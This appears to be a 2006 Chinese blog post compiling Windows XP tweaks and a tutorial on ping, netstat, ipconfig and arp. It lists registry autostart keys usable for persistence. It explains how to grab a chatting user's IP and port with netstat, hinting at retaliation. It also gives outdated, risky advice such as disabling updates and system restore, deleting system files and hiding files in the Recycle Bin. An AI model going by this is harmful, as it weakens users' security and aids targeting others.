(到底哪个是哪个自己研究一下吧!有时候也要自己动动脑子 的,锻炼一下吧!)
10、如用ntfs装xp,本身就节省地盘。
注意:有些文件的删除可能有潜在的危险性,如果对windows了解不多请慎用
此法,如果出错的话本人盖不负责。(操作前请找到文件夹选项,将文件查看 选择为显示所有文件,显示受系统保护的文件,否则有些文件找不到)

三十 用好Windows XP的系统修复功能
对于使用Windows
XP系统的朋友来说,当系统出现崩溃或者系统使用时出现一些莫名其妙的错误时,你采用什么方法解决呢?一般都是采用重装系统或者使用Ghost恢复等。
但是使用这些方法各有缺陷,比如重新安装系统,则原来的系统设置和软件都必须重新安装,非常繁琐。其实我们可以使用Windows
XP的系统修复功能,修复其中的系统错误以及更新系统文件。原来的系统设置和所安装的程序也不会改变。下面以Windows XP
Professional版本为例来介绍系统修复的操作方法。
  1、使用Windows XP系统修复功能时,重新启动电脑,将Windows
XP系统安装光盘放入光驱,屏幕就会显示提示信息“Press any key to boot from CD”
(按任意键开始从光盘执行引导)时,按下任意键如“Enter”键。
  2、当屏幕显示“Windows XP Professional
安装程序,欢迎使用安装程序”信息时,按下“Enter”键。需要注意的是,在这里不能按下“R”键,如果按下“R”键,则会启动Windows
XP系统的故障控制台修复程序。
  3、在出现的“Windows XP 安装协议,Windows XP
Professional最终用户安装协议”界面中,按下“F8”键,同意接受许可协议。
  随之屏幕上将出现“Windows XP Professional安装程序,如果下列Windows
XP安装中有一个损坏,安装程序可以尝试修复”的提示信息。在窗口下面的列表框中显示需要修复的Windows
XP安装程序。如果有多个的话,使用上移和下移箭头使需要修复的系统处于高亮状态,最后按下“R”键。
  4、当屏幕显示“Windows XP
Professional安装程序,安装程序已经试图更新下列Windows安装”时,按下“Enter”键。
  这样Windows XP系统就会自动安装,以后的操作步骤,所费安装时间与重新安装系统基本相同。使用修复安装后的Windows
XP操作系统,原先的系统设置、所安装的软件以及个人信息都不会改变。另外需要注意的是,使用Windows
XP的修复安装功能,必须使用原来系统的Windows XP安装光盘,否则即便是能够成功修复系统,也不能够登录Windows XP系统

三十一 让Windows实现自动拨号上网

  Windows系统内置的拨号程序实在好处多多,但是每次启动系统后,我们都要双击拨号程序才能登录互联网,为何不把拨号工作也留给系统去完成呢?下面就为大家介绍一下设置步骤。
  Windows XP的设置
  首先在控制面板中双击“网络连接”,打开“连接”窗口,在此窗口中一般会有两个连接,一个是本地连接,一个是因特网连接,在此我们右击因特网连接,在弹出的快捷菜单中选择“属性”,打开连接属性窗口,在此窗口中选择“选项”标签。
  在选项窗口中(图1)取消“提示名称、密码和证书等”复选框,为了可以实时观看拨号时的进度,可以将“连接时显示…”项选中。另外,当连接因不可知原因而断掉后,可以让程序自动拨号,我们可以选中“断线重拨”,然后将“重拨次数”项后面的数值设置大点,再将重拨间隔的时间值设置得小点,这样,一旦遇到掉线的情况,程序会自动迅速地完成拨号。


此主题相关图片如下:

图 1
  完成了上面的设置工作后,我们就该让拨号程序随着系统一道启动了。建立拨号程序的快捷方式,然后将此快捷方式拖到“开始→所有程序→启动”下面即可。
  Windows XP与Windows 2003系统都自带拨号程序,所以设置方法是雷同的

三十二 Windows自启程序十大藏身之所
Windows启动时通常会有一大堆程序自动启动。不要以为管好了“开始→程序→启动”菜单就万事大吉, 实际上,在Windows
XP/2K中,让Windows自动启动程序的办法很多,下文告诉你最重要的两个文件夹和八个注册键。
  一、当前用户专有的启动文件夹
  这是许多应用软件自动启动的常用位置,Windows自动启动放入该文件夹的所有快捷方式。用户启动文件夹一般在:\Documents
and Settings\<用户名字>\「开始」菜单\程序\启动,其中“<用户名字>”是当前登录的用户帐户名称。
  二、对所有用户有效的启动文件夹
  这是寻找自动启动程序的第二个重要位置,不管用户用什么身份登录系统,放入该文件夹的快捷方式总是自动启动——这是它与用户专有的启动文件夹的区别所在。该文件夹一般在:\Documents
and Settings\All Users\「开始」菜单\程序\启动。
  三、Load注册键
  介绍该注册键的资料不多,实际上它也能够自动启动程序。位置:HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load。

  四、Userinit注册键
  位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit。这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe,如图,但这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号)。

三十三 Win98/XP双系统中安全删除XP
1、首先,要利用Win98的引导软盘来启动电脑,进入DOS工作模式。
  2、在DOS模式下键入“FDISK/MBR”命令行,并敲回车键执行此命令。
  3、在DOS模式下键入“SYS C:”,并敲回车键执行。此命令将A盘的Win98操作系统引导文件传输到C盘根目录下。
  4、重新启动电脑,将出现Win98的操作界面,最后在C:\根目录中将以下几个文件删除:
  Pagefile.sys
  Boot.ini
  Ntldr
  Ntdetect.com
  Ntbootdd.sys(可能不存在)
  这时,你可以放心大胆地将XP操作系统所在硬盘分区格式化了。
  5、注意事项:此方法只适用于WinXP和Win98分别安装在不同硬盘分区,而且XP分区不能是主活动分区(Primary
Active Partition)。

三十四 让Windows XP的自动功能走开

  Windows
XP提供了许多新功能,但是并不是每种功能都适合个人用户的需求,比如自动更新、错误报告等自动功能。笔者经过摸索,将一些自动功能的关闭方法奉献给大家,希望对朋友们有所帮助。
  1、关闭自动更新
  右击“我的电脑”,选择“属性”,进入“自动更新”选项卡,勾选“关闭自动更新。我将手动更
新计算机”单选框(见图),点击“确定”按钮即可关闭自动更新功能。
  2、关闭系统还原
  方法1:右击“我的电脑”,选择“属性”,在“系统还原”选项卡内勾选“在所有驱动器上关闭系统还原”即可。
  方法2:点击“开始→运行”输入“gpedit.msc”打开“组策略编辑器”,展开“计算机配置→管理模板→系统→系统还原”,双击右边窗口中的“关闭系统还原”项,把它的状态设置为“已启用”即可。
  3、关闭错误报告
  方法1:右击“我的电脑”,选择“属性”,进入“高级”选项卡,单击“错误报告”按钮,勾选“禁用错误报告”项即可关闭错误报告功能。
  方法2:运行“组策略编辑器”,展开“计算机配置→管理模板→系统→错误报告功能”,禁用“报告错误”即可。


三十五Win XP中利用回收站隐藏文件
大家都知道利用Windows 98回收站可以隐藏文件,但利用Windows XP回收站隐藏文件就
没那么容易了,无法像在Windows 98中那样把回收站变成文件夹。难道就没有别的方法吗?当然不是。利用WinRAR
3.0就能轻松实现,步骤如下。
  1.先将回收站清空,再打开WinRAR
3.0,从地址栏进入回收站(如“C:\Recycled”,不论回收站是否隐藏,都能看到),可以看到两个系统文件。
  2.在工具栏上点击“添加”按钮,进入“档案文件名字和参数”窗口,在“常规”选项卡“档案文件名”栏中更改压缩包的名字(默认名字是Recycled.rar);然后进入“文件”选项卡,点击“附加”按钮,选择要隐藏的文件或文件夹,按“确定”返回;接着进入“高级”选项卡,点击“设置密码”按钮,在弹出窗体中输入密码并勾选“加密文件名”复选框,最后单击“确定”按钮即可。
  现在原文件(夹)已经打包隐藏在回收站里了,可以进入“资源管理器”,将原文件删除,这时除了你谁还能找到被隐藏的文件?即便有人发现了,没有密码也是解不开的。
  恢复的方法也很简单,打开WinRAR 3.0,进入回收站,选择要恢复的文件,解压缩释放到其它文件夹即可。
  注意:为了防止无意暴露,操作完成后,务必将WinRAR 3.0地址栏转到其它路径,否则,下次打开WinRAR
3.0时就会直接进入回收站。

三十六 清除存在隐患的Guest账户
众 所周知,Windows
2000/XP操作系统都有一个Guest账户,它允许其他人使用和访问你的电脑,但不允许他们访问特定的文件,也不允许他们安装软件。不过Guest账户的存在给系统安全埋下了隐患,如果不需要Guest账户,最好还是关闭它。
  一、停用账户
  进入“控制面板→管理工具→计算机管理”,在左边窗口中的“本地用户和组”中打开“用户”项,然后在右边的窗口中双击Guest账户,在“guest
属性”对话框中勾选“账户已停用”项(图1)即可。

此主题相关图片如下:

图 1
  注意:在Windows XP Home版中无法关闭Guest账户,但可以为该账户设置密码来进行保护。

三十七 在Windows XP中降低CPU占用率

最近,使用Windows
XP发现,当用户在“资源管理器”或“我的电脑”中使用鼠标右键选择文件、文件夹的时候,会导致CPU的占用率迅速增大到100%,这时任何文件的复制过程都可能停止响应,网络连接速度也会有显著降低,假如同时使用Windows
Media Player播放音乐的话,可能导致音乐失真。
  这里要说明的是,该问题仅仅在快捷菜单显示的时候才会出现,当关闭快捷菜单的时候CPU占用率会恢复为正常水平。微软在http://support.microsoft.com/default.aspx﹖scid=kb;en-us;819101发布的公告说这个问题会影响所有Windows
XP系统,包括Professional、Home Edition内核,即使安装了SP1补丁包也无济于事。
  解决的办法是:打开“显示属性”窗口,切换到“外观”选项页,点击“效果”按钮打开效果对话框,清除这里的“为菜单和工具提示使用过渡效果”复选框就可以了。假如你不想关闭这个选项,也可以在选择文件的时候先使用鼠标左键进行选择,然后再使用鼠标右键弹出快捷菜单,不过使用起来可能会有些不太习惯,呵呵。

三十八 恢复控制台的应用!(修复XP的引导信息)
注:自己总结的网上文章!图片来自网上
插入一张Windows XP的安装光盘,并且在BIOS中设置为优先从CDROM启动,启动电脑以后,系统会自动进入Windows
XP安装界面选项(图1),按下“R”键选择第二项“要使用‘故障控制台’修复Windows XP安装,请按R。”


此主题相关图片如下:

图1

系统会自动扫描当前硬盘中安装的Windows
XP目录,在此可以选择前面的编号(此处为“1”),按下回车键之后根据提示输入Windows
XP的系统管理员密码(没有密码直接点回车)就可以进入控制台了。

此主题相关图片如下:

输入“fixmbr”命令让控制台对当前系统的主引导记录进行检查,然后在“确定要写入一个新的主启动记录吗?”后面输入“Y”进行确认,这样就完成了主引导记录的修复。

此主题相关图片如下:

然后输入“fixboot”命令进行引导扇区的修复,并且在“确定要写入一个新的启动扇区到磁盘分区C:吗?”后面输入“Y”进行确认。

此主题相关图片如下:

完成后,输入“exit”退出控制台并重新启动计算机





三十九XP系统的基本系统进程  
Csrss.exe:这是子系统服务器进程,负责控制Windows创建或删除线程以及16位的虚拟DOS环境。
  System Idle Process:这个进程是作为单线程运行在每个处理器上,并在系统不处理其它线程的时候分派处理器的时间。
  Smss.exe:这是一个会话管理子系统,负责启动用户会话。
  Services.exe:系统服务的管理工具。
  Lsass.exe:本地的安全授权服务。
  Explorer.exe:资源管理器。
  Spoolsv.exe:管理缓冲区中的打印和传真作业。
  Svchost.exe:这个进程要着重说明一下,有不少朋友都有这种错觉:若是在“任务管理器”中看到多个Svchost.exe在运行,就觉得是有病毒了。其实并不一定,系统启动的时候,Svchost.exe将检查注册表中的位置来创建需要加载的服务列表,如果多个Svchost.exe同时运行,则表明当前有多组服务处于活动状态;多个DLL文件正在调用它。
四十管好Win XP/2003的预读取文件
为了提高系统的性能,加快系统的启动、文件读取的速度,Windows XP/Server 2003中增加了预读取功能。Windows
XP/Server
2003系统盘下的Windows\Prefetch文件夹,就是预读取所在的文件夹,且在Prefetch文件夹中有许多以PF为扩展名的文件,这就是系统生成的预读取文件。但是这个功能如果用不好,时间一长,会生成大量的预读取文件,
占用宝贵的硬盘空间,导致系统搜索花费的时间更长,加重系统搜索的负担,使系统运行速度变慢。因此,只有管好、用好这些预读取文件,才能始终保持系统性能最佳化,让系统跑得更快、更顺畅。
  首先让我们来打造适合自己的预读取方式,默认情况下Windows XP/Server
2003只预读取Windows的系统文件。对于电脑配置不高的朋友可能想取消预读取功能,而对于电脑配置较高的朋友可能想多预读取一些文件,那么怎样才能打造一个适合自己的预读取方式呢?
  其实,Windows XP/Server
2003允许我们改变预读取方式,自己动手设置预读取的对象。方法是:点击“开始→运行”,在运行对话框中输入“Regedit”,打开注册表编辑器,依次展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Memory
Management\PrefetchParameters分支,找到右侧窗口中的“EnablePrefetcher”,就是该键值控制着的Windows
XP/Server
2003的预读取方式。在“EnablePrefetcher”上双击,打开“DWORD”值编辑窗口,通过改变“数值数据”的值来对Windows
XP/Server 2003进行预读取设置。
  将“数值数据”设置为:
  “0”——取消预读取功能;
  “1”——系统将只预读取应用程序;
  “2”——系统将只预读取Windows系统文件,此为Windows XP/Server 2003的默认设置;
  “3”——系统将预读取Windows系统文件和应用程序。
  好了,现在可以根据你的计算机配置,来定义适合自己的预读取方式了。
  其次,我们要养成定期清理预读取文件的好习惯。可以隔一段时间,手动删除Prefetch文件夹中的全部文件。这样,系统的预读取功能就能更好地为我们服务了。

四十一条 Windows XP 优化技巧




一、优化启动设置(适用于家用版及专业版)
  1."我的电脑"->"属性"->"高级"->"启动和故障修复"中,点"错误报告",选择"禁用错误汇报"、"但在发生严重错误时通知我";

  2.去掉"将事件写入系统日志","发送管理警报","自动重新启动"选项;将"写入调试信息"设置为"无";
  3.点击"编辑",在弹出记事本文件中:
  [Operating Systems]
  timeout=30 //把缺省时间 30 秒改为 0 秒
  multi(0)disk(0)rdisk(0)partition(1)WINDOWS="Microsoft Windows
XP Professional" /fastdetect //把缺省 fastdetect 改为 nodetect
  注册表修改方法:"HKEY_LOCAL_MACHINESYSTEMControlSet001Control"
,SystemStartOptions键值改为NODETECT.
二、禁用多余的服务级件(适用于专业版"Professional")
  右键"我的电脑"->"管理"->"服务和应用程序"->"服务",将不需要的服务级件禁用。选中禁用程序,点右键,选"属性"->
"停止",将"启动类型"设置为"手动"或"已禁用"。如关闭常见的服务,"Printer Spooler"(打印服务),"Task
Scheduler"(计划任务),"FAX"(传真服务),"Messenger"(局域网消息传递),"Remote
Registry"(提供无程用户修改注册表)等等。
  注意:有些服务是WINDOWS XP必需的,关闭后会造系统崩溃。查看详细说明确认后再禁止。
点击"开始"->"运行"->“gpedit.msc”,打开“组策略”,点"计算机配置->管理模版->Network(网络)->Qos
Packet Scheduler(QoS数据包高度程序)",双击右边的“Limit reservable
bandwidth(限制可保留带宽)”,设置为"禁用"。
三、关闭华医生Dr.Watson(适用于家用版"HomeEdition"及专业版"Professional")
  在"开始"->"运行"中输入"drwtsn32"命令,或者"开始"->"程序"->"附件"->"系统工具"->"系统信息"->"工具"->"Dr
Watson",调出系统里的华医生Dr.Watson
,只保留"转储全部线程上下文"选项,否则一旦程序出错,硬盘会读很久,并占用大量空间。如以前有此情况,请查找user.dmp文件,删除后可节省几十MB空间。

四、用SFC命令释放更多空间(适用于家用版"HomeEdition"及专业版"Professional")
  若确认系统不会新加入设备,可以把windowssystemdellcache目录内的文件予以删除或设定大小,以释放空间。
  删除全部文件的命令是sfc.exe/purgecache(sfc.exe/?查看命令参数的意义),约300MB,本操作有危险性,对系统不熟悉者勿用。

五、关闭系统备份(适用于家用版"HomeEdition"及专业版"Professional")
  1."我的电脑"->"属性"->"高级"->"性能"->"设置"->"视觉效果"标签,选择"调整为最佳性能";
  2."我的电脑"->"属性"->"高级"->"性能"->"设置"->"高级"标签,"在处理器计划"选择"程序","内存使用"选"程序",这样系统会给前台程序更多资源,使之运行更快;

  3."虚拟内存"中点"更改",将虚拟内存值设为物理内存的2.5倍,将初始大小和最大值值设为一样,将虚拟内存设置在系统盘外。比如你的内存是256M,你可以设置为640,操作系统安装在D盘,设置内存在C盘。


六、删除一些可不用的东西(适用于家用版"HomeEdition"及专业版"Professional")
  1.删除驱动器备份
  "windowsDriver cachei386"下的Driver.cab文件,约70MB。
  2.删除帮助文件
  "WindowsHelp"下,约40MB
  3.删除备用DLL文件
  "WindowsSystem32Dllcache",约200MB.最好有安装光盘或安装文件备份,以备用。
  4.删除不用的输入法
  "WindowsIme",如日文,韩文,繁体中文输入法。
七、关闭部分功能(适用于家用版"HomeEdition"及专业版"Professional")
  1.关闭系统还原功能
  "我的电脑"->"属性"->"系统还原",选"在所有的驱动器上关闭系统还原"。也可关闭不重要的分区的系统还原.如果考虑系统安全,则不要关闭还原功能。
  2.关闭自动更新
  "我的电脑"->"属性"->"自动更新",选择"关闭自动更新,我将手动更新计算机"。
  3.关闭远程桌面
  "我的电脑"->"属性"->"远程","远程桌面"里的"允许用户远程连接到这台计算机"勾去掉。
  4.取消休眠功能
  "我的电脑"->"电源管理"->"休眠",将"启用休眠"前的勾去掉,约200MB。
八、其它优化设置(适用于家用版"HomeEdition"及专业版"Professional")
  1.安装程序至其他盘(不要安装在系统盘下)
  2. 将"我的文档"文件夹都转到其他分区
  在桌面的“我的文档”图标上是右击鼠标,选择"属性"->"移动",  
3. 将IE临时文件夹都转到其他分区
  打开IE浏览器,选择"工具"->"internet选项"->"常规"->"设置",

  4.桌面上点鼠标右键,选"属性"->"主题",改为"Windows经典"。
  5.在任务栏中点击鼠标右键,选择"属性","任务栏"标签中去掉"分组相似任务栏按钮"前的勾;"开始菜单"标签中选择"经典开始菜单"。

 
九、解决任务栏假死(权威的消除QQ、IE等引起任务栏假死)
  "控制面板"->"区域和语言选项"->"语言"->"详细信息",在弹出的"设置窗口"中选择"首选项"的"语言栏",关闭“在桌面上显示语言栏”,在第三项"在通知区域显示其他语言栏图标"复选框上打上勾。如果不需要手写识别、语音识别的话,也可以再勾选最后一项"关闭高级文字服务"。

十、某些软件的兼容性(适用于家用版"HomeEdition"及专业版"Professional")
  对于QQ假死,以及其它某些程序在XP下不能正常运行的现象,可以找到该程序的执行文件,点右键,在弹出的对话框中选择"兼容性"标签,在"兼容模式"下选择相应需要的运行环境。

四十二 Windows操作系统“安全模式”的应用

对于Windows操作系统的安全模式,经常使用电脑的朋友肯定不会感到陌生,安全模式是Windows用于修复操作系统错误的专用模式,是一种不加载任何驱动的最小系统环境,用安全模式启动电脑,可以方便用户排除问题,修复错误。

  进入安全模式的方法是:启动计算机,在系统进入Windows启动画面前,按下F8键(或者在启动计算机时按住Ctrl键不放),在出现的启动选项菜单中,选择“Safe
Mode”,即可
以安全模式启动计算机。那么安全模式到底有哪些用途呢?下面就让我们具体来看一下。

  1.修复系统故障

  如果Windows运行起来不太稳定或者无法正常启动,这时候先不要忙着重装系统,试着重新启动计算机并切换到安全模式启动,之后再重新启动计算机,系统是不是已经恢复正常了?如果是由于注册表有问题而引起的系统故障,此方法非常有效,因为Windows在安全模式下启动时可以自动修复注册表问题,在安全模式下启动Windows成功后,一般就可以在正常模式(Normal)下启动了。

  2.恢复系统设置

  如果用户是在安装了新的软件或者更改了某些设置后,导致系统无法正常启动,也需要进入安全模式下解决,如果是安装了新软件引起的,请在安全模式中卸载该软件,如果是更改了某些设置,比如显示分辨率设置超出显示器显示范围,导致了黑屏,那么进入安全模式后就可以改变回来,还有把带有密码的屏幕保护程序放在“启动”菜单中,忘记密码后,导致无法正常操作该计算机,也可以进入安全模式更改。

  3.删除顽固文件

  我们在Windows下删除一些文件或者清除回收站内容时,系统有时候会提示“某某某文件正在被使用,无法删除”的字样,有意思的是,通常这些文件并没有正在被使用,那么是不是让这些文件永远霸占我们的硬盘呢?请不要着急,重新启动计算机,并在启动时按下F8键进入安全模式,试着删除那些顽固文件并清空回收站看一看,没了!原来Windows已经放弃了对这些文件的保护,可以把它们删除了。

  4.彻底清除病毒

  现在病毒一天比一天多,杀毒软件也跟着天天更新。但是,在Windows正常模式下有时候并不能干净彻底地清除病毒,因为它们极有可能会交叉感染,而一些杀毒程序又无法在DOS下运行,这时候我们当然也可以把系统启动至安全模式,使Windows只加载最基本的驱动程序,这样杀起病毒来就更彻底、更干净了。

  5.磁盘碎片整理

  在碎片整理的过程中,是不能运行其它程序的,因为每当其它程序进行磁盘读写操作时,碎片整理程序就会自动重新开始,而一般在正常启动Windows时,系统会加载一些自动启动的程序,有时这些程序又不易手动关闭,常常会对碎片整理程序造成干扰,这种情况下,我们就应该重新启动计算机,进入安全模式,安全模式是不会启动任何自动启动程序的,可以保证磁盘碎片整理的顺利进行。






广告

AT命令是Windows XP中内置的命令,它也可以媲美Windows中的“计划任务”,而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序。

我们可以在“开始→运行”中输入AT命令,下面就来看看AT命令的一些实例分析。

1、定时关机

命令:at 21:00 ShutDown –S –T30

该命令运行后,到了21:00点,电脑会出现“系统关机”对话框,并默认30秒延时自动关机。

2、定时提醒

命令:at 12:00 Net Send 10.10.36

.122与朋友约会的时间到了,快点准备出发吧!

其中Net Send是Windows内部程序,可以发送消息到网络上的其他用户、计算机。10.10.36.122是本机电脑的IP地址。这个功能在Windows中也称作“信使服务”。

3、自动运行批处理文件

如果公司的数据佷重要,要求在指定的日期/时间进行备份,那么运行:

命令:at 1:00AM /Every:Saturday My_BackUp.bat

这样,在每个Saturday(周六)的早上1:00点,电脑定时启动My_BackUp.bat批处理文件。My_BackUp.bat是一个你自行编制的批处理文件,它包含能对系统进行数据完全备份的多条命令。

4、取消已经安排的计划

命令:at 5 /Delete

有时候,你已经安排好的计划可能临时变动,这样你可以及时地用上述命令删除该计划(5为指派给已计划命令的标识编号),当然,删除该计划后,可以重新安排。

posted @ 2006-10-02 17:30 javaca88 阅读(3919) 评论(1) 编辑

有关DOS网络命令

                                      


Ping

Ping是个使用频率极高的实用程序,用于确定本地主机是否能与另一台主机交换(发送与接收)数据报。根据返回的信息,你就可以推断TCP/IP参数是否设置得正确以及运行是否正常。需要注意的是:成功地与另一台主机进行一次或两次数据报交换并不表示TCP/IP配置就是正确的,你必须执行大量的本地主机与远程主机的数据报交换,才能确信TCP/IP的正确性。

简单的说,Ping就是一个测试程序,如果Ping运行正确,你大体上就可以排除网络访问层、网卡、MODEM的输入输出线路、电缆和路由器等存在的故障,从而减小了问题的范围。但由于可以自定义所发数据报的大小及无休止的高速发送,Ping也被某些别有用心的人作为DDOS(拒绝服务攻击)的工具,前段时间Yahoo就是被黑客利用数百台可以高速接入互联网的电脑连续发送大量Ping数据报而瘫痪的。

按照缺省设置,Windows上运行的Ping命令发送4个ICMP(网间控制报文协议)回送请求,每个32字节数据,如果一切正常,你应能得到4个回送应答(见图1)。

Ping能够以毫秒为单位显示发送回送请求到返回回送应答之间的时间量。如果应答时间短,表示数据报不必通过太多的路由器或网络连接速度比较快。Ping还能显示TTL(Time To Live存在时间)值,你可以通过TTL值推算一下数据包已经通过了多少个路由器:源地点TTL起始值(就是比返回TTL略大的一个2的乘方数)-返回时TTL值。例如,返回TTL值为119,那么可以推算数据报离开源地址的TTL起始值为128,而源地点到目标地点要通过9个路由器网段(128-119);如果返回TTL值为246,TTL起始值就是256,源地点到目标地点要通过9个路由器网段。

通过Ping检测网络故障的典型次序

正常情况下,当你使用Ping命令来查找问题所在或检验网络运行情况时,你需要使用许多Ping命令,如果所有都运行正确,你就可以相信基本的连通性和配置参数没有问题;如果某些Ping命令出现运行故障,它也可以指明到何处去查找问题。下面就给出一个典型的检测次序及对应的可能故障:

ping 127.0.0.1——这个Ping命令被送到本地计算机的IP软件,该命令永不退出该计算机。如果没有做到这一点,就表示TCP/IP的安装或运行存在某些最基本的问题。

ping 本机IP——这个命令被送到你计算机所配置的IP地址,你的计算机始终都应该对该Ping命令作出应答,如果没有,则表示本地配置或安装存在问题。出现此问题时,局域网用户请断开网络电缆,然后重新发送该命令。如果网线断开后本命令正确,则表示另一台计算机可能配置了相同的IP地址。

ping 局域网内其他IP——这个命令应该离开你的计算机,经过网卡及网络电缆到达其他计算机,再返回。收到回送应答表明本地网络中的网卡和载体运行正确。但如果收到0个回送应答,那么表示子网掩码(进行子网分割时,将IP地址的网络部分与主机部分分开的代码)不正确或网卡配置错误或电缆系统有问题。

ping 网关IP——这个命令如果应答正确,表示局域网中的网关路由器正在运行并能够作出应答。

ping 远程IP——如果收到4个应答,表示成功的使用了缺省网关。对于拨号上网用户则表示能够成功的访问Internet(但不排除ISP的DNS会有问题)。

ping localhost——localhost是个操作系统的网络保留名,它是127.0.0.1的别名,每太计算机都应该能够将该名字转换成该地址。如果没有做到这一带内,则表示主机文件(/Windows/host)中存在问题。

ping www.yahoo.com——对这个域名执行Ping命令,你的计算机必须先将域名转换成IP地址,通常是通过DNS服务器(关于DNS本刊2000年3期有详述)。如果这里出现故障,则表示DNS服务器的IP地址配置不正确或DNS服务器有故障(对于拨号上网用户,某些ISP已经不需要设置DNS服务器了)。顺便说一句:你也可以利用该命令实现域名对IP地址的转换功能(见图2)。

如果上面所列出的所有Ping命令都能正常运行,那么你对你的计算机进行本地和远程通信的功能基本上就可以放心了。但是,这些命令的成功并不表示你所有的网络配置都没有问题,例如,某些子网掩码错误就可能无法用这些方法检测到。

Ping命令的常用参数选项

ping IP -t——连续对IP地址执行Ping命令,直到被用户以Ctrl+C中断。

ping IP -l 2000——指定Ping命令中的数据长度为2000字节,而不是缺省的32字节。

ping IP -n——执行特定次数的Ping命令。

 

Netstat

Netstat用于显示与IP、TCP、UDP和ICMP协议相关的统计数据,一般用于检验本机各端口的网络连接情况。

如果你的计算机有时候接受到的数据报会导致出错数据删除或故障,你不必感到奇怪,TCP/IP可以容许这些类型的错误,并能够自动重发数据报。但如果累计的出错情况数目占到所接收的IP数据报相当大的百分比,或者它的数目正迅速增加,那么你就应该使用Netstat查一查为什么会出现这些情况了。

Netstat的一些常用选项:

netstat -s——本选项能够按照各个协议分别显示其统计数据。如果你的应用程序(如Web浏览器)运行速度比较慢,或者不能显示Web页之类的数据,那么你就可以用本选项来查看一下所显示的信息。你需要仔细查看统计数据的各行,找到出错的关键字,进而确定问题所在(见图3)。

netstat -e——本选项用于显示关于以太网的统计数据。它列出的项目包括传送的数据报的总字节数、错误数、删除数、数据报的数量和广播的数量。这些统计数据既有发送的数据报数量,也有接收的数据报数量。这个选项可以用来统计一些基本的网络流量(见图4)。

netstat -r——本选项可以显示关于路由表的信息,类似于后面所讲使用route print命令时看到的 信息。除了显示有效路由外,还显示当前有效的连接。

netstat -a——本选项显示一个所有的有效连接信息列表,包括已建立的连接(ESTABLISHED),也包括监听连接请求(LISTENING)的那些连接。

netstat -n——显示所有已建立的有效连接。

Netstat的妙用

经常上网的人一般都使用ICQ的,不知道你有没有被一些讨厌的人骚扰得不敢上线,想投诉却又不知从和下手?其实,你只要知道对方的IP,就可以向他所属的ISP投诉了。但怎样才能通过ICQ知道对方的IP呢?如果对方在设置ICQ时选择了不显示IP地址,那你是无法在信息栏中看到的。其实,你只需要通过Netstat就可以很方便的做到这一点:当他通过ICQ或其他的工具与你相连时(例如你给他发一条ICQ信息或他给你发一条信息),你立刻在DOS Prompt下输入netstat -n或netstat -a就可以看到对方上网时所用的IP或ISP域名了(见图5)。甚至连所用Port都完全暴露了,如果你想给他一些教训,这些信息已经足够……


IPConfig

IPConfig实用程序和它的等价图形用户界面——Windows 95/98中的WinIPCfg可用于显示当前的TCP/IP配置的设置值。这些信息一般用来检验人工配置的TCP/IP设置是否正确。但是,如果你的计算机和所在的局域网使用了动态主机配置协议(Dynamic Host Configuration Protocol,DHCP——Windows NT下的一种把较少的IP地址分配给较多主机使用的协议,类似于拨号上网的动态IP分配),这个程序所显示的信息也许更加实用。这时,IPConfig可以让你了解你的计算机是否成功的租用到一个IP地址,如果租用到则可以了解它目前分配到的是什么地址。了解计算机当前的IP地址、子网掩码和缺省网关实际上是进行测试和故障分析的必要项目。

最常用的选项:

ipconfig——当使用IPConfig时不带任何参数选项,那么它为每个已经配置了的接口显示IP地址、子网掩码和缺省网关值,如图6的上半部分。

ipconfig /all——当使用all选项时,IPConfig能为DNS和WINS服务器显示它已配置且所要使用的附加信息(如IP地址等),并且显示内置于本地网卡中的物理地址(MAC)。如果IP地址是从DHCP服务器租用的,IPConfig将显示DHCP服务器的IP地址和租用地址预计失效的日期(有关DHCP服务器的相关内容请详见其他有关NT服务器的书籍或询问你的网管),其输出信息见图6的下半部分。

ipconfig /release和ipconfig /renew——这是两个附加选项,只能在向DHCP服务器租用其IP地址的计算机上起作用。如果你输入ipconfig /release,那么所有接口的租用IP地址便重新交付给DHCP服务器(归还IP地址)。如果你输入ipconfig /renew,那么本地计算机便设法与DHCP服务器取得联系,并租用一个IP地址。请注意,大多数情况下网卡将被重新赋予和以前所赋予的相同的IP地址。

如果你使用的是Windows 95/98,那么你应该更习惯使用winipcfg而不是ipconfig,因为它是一个图形用户界面,而且所显示的信息与ipconfig相同,并且也提供发布和更新动态IP地址的选项(见图7,全部详细资料见图8)。如果你购买了Windows NT Resource Kit(NT资源包),那么Windows NT也包含了一个图形替代界面,该实用程序的名字是wntipcfg,和Windows 95/98的winipcfg类似。

 


ARP(地址转换协议)

ARP是一个重要的TCP/IP协议,并且用于确定对应IP地址的网卡物理地址。实用arp命令,你能够查看本地计算机或另一台计算机的ARP高速缓存中的当前内容。此外,使用arp命令,也可以用人工方式输入静态的网卡物理/IP地址对,你可能会使用这种方式为缺省网关和本地服务器等常用主机进行这项操作,有助于减少网络上的信息量。

按照缺省设置,ARP高速缓存中的项目是动态的,每当发送一个指定地点的数据报且高速缓存中不存在当前项目时,ARP便会自动添加该项目。一旦高速缓存的项目被输入,它们就已经开始走向失效状态。例如,在Windows NT网络中,如果输入项目后不进一步使用,物理/IP地址对就会在2至10分钟内失效。因此,如果ARP高速缓存中项目很少或根本没有时,请不要奇怪,通过另一台计算机或路由器的ping命令即可添加。所以,需要通过arp命令查看高速缓存中的内容时,请最好先ping 此台计算机(不能是本机发送ping命令)。

常用命令选项:

arp -a或arp -g——用于查看高速缓存中的所有项目。-a和-g参数的结果是一样的,多年来-g一直是UNIX平台上用来显示ARP高速缓存中所有项目的选项,而Windows用的是arp -a(-a可被视为all,即全部的意思),但它也可以接受比较传统的-g选项。

arp -a IP——如果你有多个网卡,那么使用arp -a加上接口的IP地址,就可以只显示与该接口相关的ARP缓存项目。

arp -s IP 物理地址——你可以向ARP高速缓存中人工输入一个静态项目。该项目在计算机引导过程中将保持有效状态,或者在出现错误时,人工配置的物理地址将自动更新该项目。

arp -d IP——使用本命令能够人工删除一个静态项目。

以上参数的综合应用详见图9、图10。


